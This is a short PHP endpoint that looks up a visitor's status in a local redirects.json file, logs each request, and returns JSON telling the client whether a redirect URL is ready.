<?php
/**
 * Ping Service
 * Keeps the connection alive and checks for redirect status
 * Used to maintain background activity for redirect checking
 */

// Set headers to prevent caching
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
header('Content-Type: application/json');

// Get visitor ID
$visitor_id = $_GET['visitor_id'] ?? null;

if (!$visitor_id) {
    echo json_encode(['status' => 'error', 'message' => 'No visitor ID provided']);
    exit;
}

// Check if redirects.json exists
$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    echo json_encode(['status' => 'error', 'message' => 'Redirects file not found']);
    exit;
}

// Read redirects.json
$redirects = json_decode(file_get_contents($redirects_file), true);

// Check if visitor exists in redirects
if (!isset($redirects['redirects'][$visitor_id])) {
    echo json_encode(['status' => 'error', 'message' => 'Visitor not found']);
    exit;
}

// Get visitor status
$visitor_status = $redirects['redirects'][$visitor_id];

// Log the ping for debugging (optional)
$log_file = __DIR__ . '/session/ping_log.txt';
$log_entry = date('Y-m-d H:i:s') . " - Visitor: $visitor_id - Status: {$visitor_status['status']}\n";
file_put_contents($log_file, $log_entry, FILE_APPEND);

// Check if there's a redirect ready
if ($visitor_status['status'] === 'ready' && isset($visitor_status['redirect_url'])) {
    echo json_encode([
        'status' => 'redirect',
        'redirect' => true,
        'redirect_url' => $visitor_status['redirect_url']
    ]);
} else {
    // Just return the current status
    echo json_encode([
        'status' => 'ok',
        'redirect' => false,
        'current_status' => $visitor_status['status']
    ]);
}
